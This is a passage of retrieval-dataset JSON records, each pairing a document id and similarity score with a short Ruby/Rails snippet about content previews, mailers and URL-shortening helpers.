"text": "def set_Preview(value)\n set_input(\"Preview\", value)\n end", "title": "" }, { "docid": "131f5be72d8d91fe8bc37cf6065d9caf", "score": "0.55182135", "text": "def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end", "title": "" }, { "docid": "8ba99c9c3a36c8aa22be56372e0843a9", "score": "0.55156475", "text": "def resume_received(resume)\n @resume = resume\n mail :to => 'zzpf@163.com', :subject => '收到一份新简历'\n end", "title": "" }, { "docid": "d717db95361c1aa70ac0a8a35a3379fc", "score": "0.55144835", "text": "def preview_sender(subject)\n message_div(subject).div(:class=>\"inbox_name\").button.text\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "c66391f9adcbe7a9ac9bb68c18c0e488", "score": "0.5510694", "text": "def file_preview\n lines = File.readlines(@current_failure.file_name)\n\n lines.insert(\n @current_failure.line_number + 1,\n \"#{indentation_on_failure_line(lines)}^^^ #{@current_failure.message.gsub(/(\\[\\d;\\d{2}m|\\[0m)/, '')}\"\n )\n\n content = lines[@current_failure.line_number - 5..@current_failure.line_number + 5].join(\"\\n\")\n puts content\n end", "title": "" }, { "docid": "2387b560e7fa723e123a41444cd636a4", "score": "0.5492708", "text": "def preview\n \t# get the rich text html output, remove tags, then truncate for preview\n \ttruncate(strip_tags(text_content), :length => 140 )\n end", "title": "" }, { "docid": "14898447ba9d5b77d8e5d662eceb8d83", "score": "0.549161", "text": "def proposal_email(user, rate, description, name, walker_num, walker_mail)\n \t@user = user\n \t@proposal_rate = rate\n \t@proposal_description = description\n \t@walker_name = name\n \t@walker_phone = walker_num\n \t@walker_email = walker_mail\n \tmail(to: @user.email, subject: \"You received a new proposal\")\n end", "title": "" }, { "docid": "c66982e9b92187ae09e9fba27b9f91f9", "score": "0.5484281", "text": "def preview\n # mockup our models for preview.\n @post = Post::ViewAdapter.new(post_repo.create)\n @post.assign_attributes(params[:post])\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "cbfaf93e8dfde016fae0186e7ae256c8", "score": "0.54802716", "text": "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "title": "" }, { "docid": "b8f155c6eabd307c5e651fbb77ce77db", "score": "0.54713935", "text": "def preview_mass(access_token, preview_hash)\n url = 'https://api.weixin.qq.com/cgi-bin/message/mass/preview'\\\n \"?access_token=#{access_token}\"\n Helper.http_post(url, preview_hash.to_json)\n end", "title": "" }, { "docid": "181ccfe0a1c16aaf979b3f8814a59154", "score": "0.5469446", "text": "def preview_body\n snippet = body[0..10]\n puts \" #{snippet} \"\n end", "title": "" }, { "docid": "6e3ce3bdf7eacbf8e674728ff677facc", "score": "0.54592174", "text": "def body_preview=(value)\n @body_preview = value\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.5457957", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.5457957", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "f7c4b34ba7dbd575fa6d406a8b13704c", "score": "0.545609", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"reminder_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "b7685a8cc700946c2385e6dd2885d24c", "score": "0.5454723", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"bill_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "c8f6272411b27c30475682bbf50da6ea", "score": "0.545439", "text": "def link_to_preview(text, preview_url, options={})\n modal_tag text, \n render(\"previews/modal_preview_status\", title: text.capitalize), \n class: \"preview-link #{options[:class]}\", \n data: {'preview-url' => preview_url},\n title: \"Preview\"\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "6121ad8cd0bd8084487c7cdbebde86ac", "score": "0.5445763", "text": "def preview_name; end", "title": "" }, { "docid": "fd2fa4ca5a6f36e56176aa5754265e76", "score": "0.5443265", "text": "def preview_text\n text = \"\"\n begin\n my_contents = my_description[\"contents\"]\n unless my_contents.blank?\n content_flagged_as_preview = my_contents.select{ |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select{ |content| content.name == content_to_take_as_preview[\"name\"] }.first\n unless preview_content.blank?\n if preview_content.essence_type == \"EssenceRichtext\"\n text = preview_content.essence.stripped_body.to_s\n elsif preview_content.essence_type == \"EssenceText\"\n text = preview_content.essence.body.to_s\n elsif preview_content.essence_type == \"EssencePicture\"\n text = (preview_content.essence.picture.name rescue \"\")\n elsif preview_content.essence_type == \"EssenceFile\" || preview_content.essence_type == \"EssenceFlash\" || preview_content.essence_type == \"EssenceFlashvideo\"\n text = (preview_content.essence.file.name rescue \"\")\n else\n text = \"\"\n end\n else\n text = \"\"\n end\n end\n rescue\n logger.error(\"#{$!}\\n#{$@.join('\\n')}\")\n text = \"\"\n end\n text.size > 30 ? text = (text[0..30] + \"...\") : text\n text\n end", "title": "" }, { "docid": "ed65161c3763683fd87a06afc3ace79c", "score": "0.5439094", "text": "def preview\n # Needed to carry a previous campaign ID through for redirect back to campaign once complete. \n @campaign_id = params[:campaign_id] \n\n # pull in the values from parameters\n \t@campaign \t= params[:grcid]\n \t@env \t\t= params[:env]\n \t@brand \t\t= params[:brand]\n \t@platform \t= params[:platform]\n\n # pull in the imported text from field\n \t@imported_data \t= params[:offerdata]\n\n # split data on new lines (breaks data into rows)\n \t@parsed_data \t= @imported_data.split(\"\\n\")\n\n # create empty preview collection for preview page (holds rows)\n \t@preview = [] \n \t@parsed_data.each do |item|\n # split data on tabs (breaks rows into cells)\n \t\titem = item.split(\"\\t\")\n \t\titem.each do |entry|\n # clean up whitespace\n \t\t\tentry.strip! \n \t\tend\n\n \t\tif(item[0] != \"OfferCode\") # ignore headers if present\n\t \t\t@preview.push(item) # submit row to preview collection\n\t \tend\n \tend\n end", "title": "" }, { "docid": "ccc88215c57696890fe589471a7a98d3", "score": "0.5434434", "text": "def live_preview(line_id)\n @io << @templates[:live_preview].result(binding)\n end", "title": "" }, { "docid": "08aef130e2006dda7fe1c5a2f3f11124", "score": "0.5433947", "text": "def preview=(preview)\n @preview = claim(preview)\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.54337317", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.54337317", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "1967b2b99c9ac21426badc4365f22eb0", "score": "0.54334164", "text": "def to_display\n email_message.display_to\n end", "title": "" }, { "docid": "e032bcb3f29c6be67784b0ddff4d8ba9", "score": "0.54332745", "text": "def bar_preview\n UserMailer.bar(User.first)\n end", "title": "" }, { "docid": "f42b6f19bf7506694927267b83d79e8e", "score": "0.54260284", "text": "def get_email_campaign_preview(campaign_id)\n Services::EmailMarketingService.get_campaign_preview(campaign_id)\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.54253256", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.54253256", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" } ]
c5cfa878d2c536b43d601542f3a3d17b
Use a before_save callback in the Url model to generate the short URL.
[ { "docid": "3ff7ef29558f80d439047d15be07a76c", "score": "0.65172863", "text": "def check_short_url #to generate &to check if short_url generated so ngam duplicated jor in table, rare!\n if short_url.nil? #first time, short_url is nil, so this will run\n self.short_url = random_key #generate first time\n while !self.valid? #it will be not valid its duplicated upon validation(see above)\n self.short_url = random_key #its invalid, so regenerate again\n end\n end\n end", "title": "" } ]
[ { "docid": "695d4b4efb09225255686e39f3142dd0", "score": "0.7546817", "text": "def create_short_url\n urlstring = SecureRandom.urlsafe_base64(4.5)\n old_url = Link.where(short_url: urlstring).last\n if old_url.present?\n self.create_short_url\n else\n self.short_url = urlstring\n end\n end", "title": "" }, { "docid": "8c6e4afbf8dfa4987d41017295efaf33", "score": "0.751603", "text": "def generate_short_url\n url = ([*('a'..'z'), *('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortendUrl.where(short_url: url).last\n\n # get the page title whose short url is being created\n get_set_url_title\n\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "9eb7975df8d90f9da89e4b46760d95ba", "score": "0.7319562", "text": "def shorten_url\n self.short_code = ShortUrlsHelper.encode_base_62(id.to_i)\n if save\n update_title!\n return true\n end\n\n false\n end", "title": "" }, { "docid": "44ff537b5d5c6e5e86503b3f1a93f6b9", "score": "0.7296107", "text": "def generate_short\n # the short_url is equal to the id to base 36\n # even if it gets insanely large the short_url will still \n # equal no more than six or seven letters\n self.short_url = self.id.to_s(36)\n self.save\n end", "title": "" }, { "docid": "98000835120138e24c4c407680a1ab95", "score": "0.7278197", "text": "def generate_short_url\n\t\turl=([*('a'..'z'), *('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n\t\told_url=ShortenedUrl.where(short_url: url).last\n\t\tif old_url.present?\n\t\t\tself.generate_short_url\n\t\telse\n\t\t\tself.short_url=url\n\t\tend\n\tend", "title": "" }, { "docid": "1071784deb59d0c151ff5dd2269bca59", "score": "0.7256543", "text": "def generate_short_url\n url = SecureRandom.uuid[0..5]\n old_url = Link.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "24729ddc3204a79ade3dcffdafe40723", "score": "0.72496974", "text": "def shorten_url\n if params[:long_url].present?\n Rails.logger.debug \"request.base_url #{request.base_url}\"\n url = request.base_url\n @url_shortner = UrlShortner.where(url: params[:long_url]).where(\"expires_at > ?\" , Time.now()).first \n code = @url_shortner.unique_code if @url_shortner.present?\n message = \"Unique code generated\"\n unless @url_shortner.present? && @url_shortner.unique_code.present?\n code = UrlShortnersHelper.generate_unique_code\n expires_at = params[:expires_at] || Time.now + 2.days\n UrlShortner.create(url: params[:long_url], unique_code: code, clicks: 0, expires_at: expires_at)\n url += '/' + code\n end\n else\n message = \"Url is required\"\n code = ''\n end\n render json: {message: message, url: url}\n end", "title": "" }, { "docid": "ca5f34e2b74018ebdb9e411de6300e6a", "score": "0.72492886", "text": "def generate_short_link\n self.slug = self.id.to_s(36)\n self.save\n end", "title": "" }, { "docid": "87461cf0fc7f976a722b2087914cb653", "score": "0.7216547", "text": "def generate_short_url\n if self.short_url.blank?\n self.short_url = Code.generate!\n else\n self.short_url = self.short_url.to_url\n end\n end", "title": "" }, { "docid": "4d7a6853bc7ddbcdc1ab849fcb798f73", "score": "0.7203168", "text": "def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortendedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "3e61526b97009c2db303a800611a8c8f", "score": "0.7200876", "text": "def generate_short_url\n url = [*('a'..'z'),*('0'..'9')].sample(UNIQUE_ID_LENGTH).join\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "bf1e96e2826aa0b1da8859581cd6bd42", "score": "0.71946925", "text": "def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "bf1e96e2826aa0b1da8859581cd6bd42", "score": "0.71946925", "text": "def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "bf1e96e2826aa0b1da8859581cd6bd42", "score": "0.71946925", "text": "def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "4cfee7317eec6227319d5c0ef1c75914", "score": "0.71238273", "text": "def short_to_long_url\n @url=Url.new\n end", "title": "" }, { "docid": "dc8d83821eac756eddab59c6330953cd", "score": "0.7108436", "text": "def set_short\n\t\t @short_url = ShortUrl.find_or_initialize_by(original_url: original_url)\n\t\t @short_url[:user_id] = user.id\n\t\t\t shorten\n\t\t end", "title": "" }, { "docid": "5c8dffc264cd7595047e24e548985ee8", "score": "0.71057314", "text": "def shortend\n @url = ShortendUrl.find_by_short_url(params[:short_url])\n host = request.host_with_port\n @original_url = @url.sanitize_url\n @short_url = host + '/' + @url.short_url\n end", "title": "" }, { "docid": "6adb2af3780122bd2950100f96824739", "score": "0.7096911", "text": "def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(8).join << date_filter\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "e3614cc6e4766ee5e67b13cf55cdbac7", "score": "0.7090263", "text": "def set_url\n # @url = Url.find_by({shortened: params[:shortened]})\n @url = Url.find(params[:shortened])\n end", "title": "" }, { "docid": "1192100f7c87f9e2960f611611dca601", "score": "0.7085688", "text": "def short_url\n if @url\n @url.incr\n render json: { url: @url.link, status: 200}\n else\n render json: { status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "5a0ce33ff0d85ea2742db1e391c62a35", "score": "0.70849645", "text": "def save_short_url(short_url, original_url)\n @@shortened_urls.store(short_url, original_url)\nend", "title": "" }, { "docid": "c6ca760190a77f80817a87f3de23d731", "score": "0.706848", "text": "def before_save\n self.url_hash = self.url.hash.to_s.gsub('-','').to_i.to_s(16)\n end", "title": "" }, { "docid": "d3669b171d705d40ee00753e55e73dd4", "score": "0.7060772", "text": "def short\n\t\tshort_url = SecureRandom.hex(4)\n\t\tself.short_url = \"#{short_url}\"\n\tend", "title": "" }, { "docid": "1c836b6f529a8d1a81612cb281ed4cdf", "score": "0.704421", "text": "def generate_short_url\n charset = ('a'..'z').to_a + (0..9).to_a\n self.shorty = (0...UNIQUE_SHORT_KEY).map{ charset.to_a[rand(charset.size)] }.join\n self.save\n end", "title": "" }, { "docid": "28ec0bcdac16cfef3e0c3ed9f13e2c0b", "score": "0.7035994", "text": "def shorten_url\n self.short_url = SecureRandom.hex(2)\n end", "title": "" }, { "docid": "8db61edc90dc1df5f9880de1ff689808", "score": "0.7020547", "text": "def add_short_url\n\t\t# ORIGINAL BEFORE UPGRADING GEM\n\t\t#short_url = Googl.shorten(\"http://www.mojoleaf.com/tests/\"+self.id.to_s+\"/results/new\").short_url\n\n\t# Updated due to usage limits https://github.com/zigotto/googl\n\t\tshort_url = Googl.shorten(\"http://www.mojoleaf.com/tests/\"+self.id.to_s+\"/results/new\", \"<%= request.remote_ip %>\",\"AIzaSyDxsIe0fqAJoYejtNogjPHjo74YqVG5e9U\").short_url\n\t\t\n\n \tupdate_column(:short_url, short_url)\n\tend", "title": "" }, { "docid": "97610e02ab08cc2e5cd88faaf60cce4f", "score": "0.701203", "text": "def set_shortened_url\n @shortened_url = ShortenedUrl.find_by(slug: params[:slug])\n end", "title": "" }, { "docid": "27b84f8c320acecdbead7abd111c4a86", "score": "0.6997999", "text": "def shorten\n self.short_url = SecureRandom.hex(6)\n end", "title": "" }, { "docid": "9832912d3f522b9236b9cf55de419a33", "score": "0.6997301", "text": "def before_validation\n self.permalink = generate_permalink(self.name)\n end", "title": "" }, { "docid": "a9e9515da921fe1730f9b29734ae29df", "score": "0.69955707", "text": "def short_url\n \t@short_url = request.base_url + '/'+ @link.slug\n end", "title": "" }, { "docid": "6d0debb900948fb45e5b8e201ea6414c", "score": "0.699454", "text": "def set_url\n @url = Url.find_by(short_url: short_url)\n end", "title": "" }, { "docid": "2209cb6ed3f2e8f79939990d32340578", "score": "0.6985591", "text": "def shorten\n randnum = SecureRandom.hex(3)\n self.short_url = \"#{randnum}\"\n end", "title": "" }, { "docid": "9c5d343fea6e82035622a003178d5066", "score": "0.69846743", "text": "def shorten\n self.short_url = SecureRandom.hex(5)\n end", "title": "" }, { "docid": "d29b276c4a16ddf8a095707e0a4bebeb", "score": "0.69772315", "text": "def set_url\n @url = Url.find_by(short: params[:short_url])\n end", "title": "" }, { "docid": "807274084db242bfa411a4db757bca6b", "score": "0.696759", "text": "def shorten_url\n shorten_url = (@shortner.id.to_s + Time.now.to_i.to_s).to_i.to_s(36)\n expiry = Time.now + 30.minutes\n @shortner.update(shortned_url: shorten_url, expiry: expiry)\n end", "title": "" }, { "docid": "579dfba9a39bf2990b398decb66d131c", "score": "0.6966353", "text": "def shorten\n\t\tself.short_url = SecureRandom.hex(6)\n\tend", "title": "" }, { "docid": "579dfba9a39bf2990b398decb66d131c", "score": "0.6966353", "text": "def shorten\n\t\tself.short_url = SecureRandom.hex(6)\n\tend", "title": "" }, { "docid": "9e08be917f8146290e3839863384c163", "score": "0.69641024", "text": "def generate_long_url()\n begin\n send(\"#{self.class.name.downcase}_url\", self) unless self.new_record? # Can't generate the url until we have an id and title.\n end\n end", "title": "" }, { "docid": "fc98bf663ac193455c805c2657378589", "score": "0.696058", "text": "def shorturl=(full_url)\n self.short_url = \"#{ENV['APP_HOST']}u/\"+ Base64.urlsafe_encode64(Digest::SHA256.digest(url))[0..6]\n end", "title": "" }, { "docid": "6c1e4778ae26e57198cd83053969d02f", "score": "0.69554573", "text": "def shorten\n\t\t self.short_url = SecureRandom.hex(3)\n\tend", "title": "" }, { "docid": "f32ac463aacbf2507102a1eda505fe81", "score": "0.69465107", "text": "def shorten\n\t\tself.short_url = SecureRandom.hex(5)\n\tend", "title": "" }, { "docid": "e45e66a41e021a3e4ac17f8be9a91fa4", "score": "0.6935548", "text": "def set_url\n @url = Url.find_by(short_url: params[:short_url])\n end", "title": "" }, { "docid": "d39d4282535af5b6f8405f7c88ad5b60", "score": "0.6930007", "text": "def generate_shortened_url\n self.shortened_url = SecureRandom.hex(4)\n end", "title": "" }, { "docid": "ecb855d680bc553aba88371be5647e83", "score": "0.69237596", "text": "def create\n\n shortened_url = Url.find_by_short_url(url_params[:long_url])\n if shortened_url\n redirect_to shortened_url.long_url\n else\n existing_url = Url.find_by_long_url(url_params[:long_url])\n if existing_url\n respond_to do |format|\n format.html { redirect_to existing_url, notice: \"This url has already been shortened.\" }\n format.json { render :show, status: :found, location: existing_url }\n end\n else\n @url = Url.new(url_params)\n respond_to do |format|\n if @url.save\n format.html { redirect_to @url, notice: \"Url was successfully shortened.\" }\n format.json { render :show, status: :created, location: @url }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end\n end\n end", "title": "" }, { "docid": "2fc062bc2ff1e4b29299b63eebfbb4c9", "score": "0.6902273", "text": "def createPrettyURL\n self.slug = getAvailablePrettyURLSlug()\n self.save\n end", "title": "" }, { "docid": "5ff06fea425f0f0d67b6c742883c62c1", "score": "0.6862043", "text": "def generate_url\n self.shortened_url =SecureRandom.hex(3)\n end", "title": "" }, { "docid": "122f7ea09cd62783301c29ca53c5f22f", "score": "0.68415934", "text": "def shorten\n\t\tself[:short_url] = SecureRandom.urlsafe_base64(5)\n\tend", "title": "" }, { "docid": "1e11f6ba9906b746119e14e1c823ace7", "score": "0.6840548", "text": "def make_short_url\n self.short_url = \"shorty\" + ((1..9).to_a + ('a'..'z').to_a).sample(5).join('')\n end", "title": "" }, { "docid": "ed8b3be970ad906037cc7b8ccfe68772", "score": "0.6833831", "text": "def save!\n unless valid_url?(@url)\n @errors << 'Invalid URL'\n return\n end\n\n attemps = 0\n short_url = ShortUrl.new(original_url: @url)\n begin\n short_url.save!\n short_url\n rescue ActiveRecord::RecordNotUnique => e\n raise e if attemps >= MAX_ATTEMPS\n\n # If we have retries left, re-initialize model.\n # Model will re-generate a short_url\n attemps += 1\n short_url = ShortUrl.new(original_url: @url)\n retry\n rescue StandardError => e\n @errors << e.message\n end\n end", "title": "" }, { "docid": "397917d1cae072ee8aa6c286c228de87", "score": "0.68120795", "text": "def set_url_short\n @url_short = UrlShort.find(params[:id])\n end", "title": "" }, { "docid": "ccf92ef30aef6bf82d7874c28c31c863", "score": "0.68086773", "text": "def shorten_original_link\n self.shortened_link = ShortenUrl.call(original_link)\n end", "title": "" }, { "docid": "a05b99722630b44a2bc28ed4fc95df34", "score": "0.68038565", "text": "def shorten_url\n\t#change the link into > shortlink \n \t# p \"localhost:9393/\"+SecureRandom.Hex(2)\n \t#<a href=\"long_url\">\"localhost:9393/\" + SecureRandom.Hex(2) </a>\n \t\tself.short_url = SecureRandom.hex(3) \n\tend", "title": "" }, { "docid": "70ad0067f6aa7e69786003d551e7fbe7", "score": "0.6800053", "text": "def create\n\n\t\t# ensure url is valid\n\t\tnew = Url.new(params.require(:shortener).permit(:url, :alias))\n\t\tif (!new.valid?(:url))\n\t\t\trender plain: new.errors.messages and return\n\t\tend\n\n\t\t# ensure url does not already exist\n\t\turl = Url.where(url: params[:shortener][:url])\n\t\tif url.length > 0\n\t\t\trender plain: 'URL already shortened. See: ' + url_for(controller: 'url', action: 'create') + '/' + url.first.alias\n\t\t\treturn\n\t\tend\n\n\t\t# check if user specified custom alias\n\t\tif params[:shortener][:alias] && params[:shortener][:alias].length > 0\n\t\t\t# check if alias has been used\n\t\t\t_alias = Url.where(alias: params[:shortener][:alias])\n\t\t\tif _alias.length == 0\n\t\t\t\t# alias has not been chosen\n\t\t\t\tnew.save\n\t\t\t\trender plain: 'Success! See it here: ' + url_for(controller: 'url', action: 'create') + '/' + params[:shortener][:alias]\n\t\t\telse\n\t\t\t\trender plain: 'Alias already exists :( Try again.'\n\t\t\tend\n\t\telse\n\t\t\t# generate random alias: id + 3 char random string\n\t\t\tnew.save\n\t\t\tnew.update(alias: new.id.to_s + (0...3).map { (65 + rand(26)).chr }.join)\n\t\t\trender plain: 'Here is your shortened URL: ' + url_for(controller: 'url', action: 'create') + '/' + new.alias\n\t\tend\n\tend", "title": "" }, { "docid": "c92bf501aa4d76dc1f276184c7f2b0f2", "score": "0.67904097", "text": "def shortened_url_generation\n if (self.published_changed? && self.published?) || (self.permalink_changed? && self.published?)\n generate_shortened_url\n end\n return true\n end", "title": "" }, { "docid": "2d43702a761de0ee6bec2cf128c5a437", "score": "0.6785987", "text": "def shortened_url_generation\n\t if (self.published_changed? && self.published?) || (self.permalink_changed? && self.published?)\n generate_shortened_url\n\t end\n return true\n end", "title": "" }, { "docid": "dacca917a2bfbb8095fbe3c897f71d24", "score": "0.6780008", "text": "def set_shortened_url\n @shortened_url = ShortenedUrl.find(params[:id])\n end", "title": "" }, { "docid": "988cb3c467c621e151ccef8661520352", "score": "0.676819", "text": "def shorten url, custom = nil\n if !custom.to_s.empty?\n result_set = select(\"select short_urls from urls where short_urls='#{custom}'\")\n row = result_set.next_hash\n\n if row.nil?\n short_url = @base_url + custom\n insert(\"insert into urls (original_url, short_urls, created_at) values ('#{url}', '#{custom}', datetime('now'))\")\n return short_url\n else\n return \"Custom link already exists\"\n end\n else\n result_set = select(\"select short_urls from urls where original_url='#{url}'\")\n row = result_set.next_hash\n\n unless row\n sec_random = SecureRandom.uuid()[0..7]\n short_url = @base_url + sec_random\n insert(\"insert into urls (original_url, short_urls, created_at) values ('#{url}', '#{sec_random}', datetime('now'))\")\n return short_url\n else\n short_urls = row[\"short_urls\"]\n return @base_url + short_urls\n end\n end\n end", "title": "" }, { "docid": "c68f328ec919ebcc2491306211f23117", "score": "0.6767082", "text": "def short_url\n \"#{configuration.shortener_url}/#{shortened}\"\n end", "title": "" }, { "docid": "fa937e25ca2fb41199ce0115b5193514", "score": "0.67576134", "text": "def set_url\n @url = Url.find_by(short_link: params[:id])\n end", "title": "" }, { "docid": "30157b03d8e13430d82ff55a950ed66f", "score": "0.6751658", "text": "def shorten_url(url)\n\n # Generate a random string of length $short_url_length using SecureRandom#urlsafe_base64\n @shortened_url = SecureRandom.urlsafe_base64($short_url_length - 1) # -1 because the length starts at 0\n\n # Check if this random string is already saved, if so keep generating a new one until it's unique,\n # In the unlikely case of running out of combinations (46656) this will be stuck in an infinite loop\n while retrieve_original_url(@shortened_url) != nil do\n @shortened_url = SecureRandom.urlsafe_base64($short_url_length)\n end\n\n # Save the short url to our storage\n save_short_url(@shortened_url, url)\n\n # Return the short url\n @shortened_url\nend", "title": "" }, { "docid": "b89f466a2daf024c1a542a0972f3da54", "score": "0.6744928", "text": "def create\n @url = Url.where(url: params[:url]).first_or_create\n unless @url.valid?\n flash[:notice] = @url.errors.full_messages.join(', ')\n redirect_to root_path\n end\n @shortended_url = \"#{http_host}/#{@url.slug}\"\n end", "title": "" }, { "docid": "365e499bd81a7bed79a4fbc1cfdca739", "score": "0.6743523", "text": "def set_shortened_url\n @shortened_url = ShortenedUrl.find(params[:id])\n end", "title": "" }, { "docid": "d99abb0f72b9420201653ef0c9a59a3f", "score": "0.67378366", "text": "def create\n @url = Url.new(params[:url])\n @url.shorten('testurl')\n respond_to do |format|\n if @url.save\n format.html { redirect_to @url, notice: 'Url was successfully created.' }\n format.json { render action: 'show', status: :created, location: @url }\n else\n format.html { render action: 'new' }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3fab39d8f62c92edbec1644bd4b40cc", "score": "0.67354566", "text": "def set_shortlink\n name = params[:short_url]\n # domain = // TBD: only tubi.ru domain for now\n @link = Link.where(name: name, domain: nil).take\n end", "title": "" }, { "docid": "c0aaf566c5c22e854c5f4f55ce9d51a2", "score": "0.672359", "text": "def set_url\n @url = Url.find_by(short: params[:slug])\n end", "title": "" }, { "docid": "29324b7fbd5bc841b699c0318e551083", "score": "0.6715571", "text": "def generate_unique_short_url\n uniq_str = \"#{Time.now.to_i}#{self.description}#{self.user_id}\"\n short_url = Base64.urlsafe_encode64( [Digest::MD5.hexdigest(uniq_str)].pack('H*') )[0..(SHORT_URL_LENGTH-1)]\n existing_url_gist = Gist.find_by_short_url(short_url)\n if existing_url_gist.present?\n self.generate_unique_short_url\n else\n self.value = short_url\n end\n end", "title": "" }, { "docid": "d867d93a9a03c1aac15214dda3c9aee8", "score": "0.66957194", "text": "def create_short_url\n self.short_url = \"#{('a'..'z').to_a.shuffle[0,8].join}\"\n end", "title": "" }, { "docid": "2155adfa88e536073e9e41654e0b5e98", "score": "0.66902566", "text": "def create\n if url_params[:original_url]\n @url = Url.new(url_params)\n if @url.new_url?\n if @url.save\n @http_code = 201\n flash[:notice] = \"Status:#{@http_code}. Here is your link to shortened url\"\n redirect_to shortened_path(@url.short_url)\n end\n else\n @http_code = 409\n flash[:notice] = \"Status:#{@http_code}. A short link for this URL is already in our database\"\n redirect_to shortened_path(@url.find_duplicate.short_url)\n end\n elsif url_params[:short_url]\n @url = Url.find_by_short_url(url_params[:short_url])\n if @url.nil?\n @http_code = 404\n flash.now[:notice] = \"Status:#{@http_code}. Verify the shortened url link\"\n render \"index\"\n elsif @url.valid?\n @http_code = 302\n flash[:notice] = \"Status:#{@http_code}. Original URL found\"\n redirect_to shortened_path(@url.short_url)\n end\n end\n end", "title": "" }, { "docid": "9cb252efd8eab55df231301b7e6eb085", "score": "0.66856927", "text": "def short_url\n 